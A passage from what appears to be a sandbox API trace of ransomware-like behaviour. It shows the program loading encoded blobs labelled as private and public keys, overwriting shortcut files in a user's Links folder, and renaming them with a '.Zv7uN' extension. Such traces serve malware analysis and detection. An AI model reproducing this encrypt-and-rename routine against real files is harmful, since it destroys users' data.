ow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.377] GetCurrentThreadId () returned 0xa30 [0126.377] GetCurrentThreadId () returned 0xa30 [0126.377] GetCurrentThreadId () returned 0xa30 [0126.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.378] GetCurrentThreadId () returned 0xa30 [0126.378] GetCurrentThreadId () returned 0xa30 [0126.378] GetCurrentThreadId () returned 0xa30 [0126.378] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.378] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0126.379] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.379] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x1d3 [0126.379] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0126.379] ReadFile (in: hFile=0x1ec, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f6a0*=0x1d3, lpOverlapped=0x0) returned 1 [0126.382] CloseHandle (hObject=0x1ec) returned 1 [0126.382] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0126.384] WriteFile (in: hFile=0x1ec, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f6ac*=0x1d3, lpOverlapped=0x0) returned 1 [0126.386] CloseHandle (hObject=0x1ec) returned 1 [0126.386] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Desktop.lnk.Zv7uN" (normalized: "c:\\users\\default\\links\\desktop.lnk.zv7un")) returned 1 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] GetCurrentThreadId () returned 0xa30 [0126.387] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0126.387] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.387] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0126.388] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk")) returned 0x20 [0126.388] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk", dwFileAttributes=0x80) returned 1 [0126.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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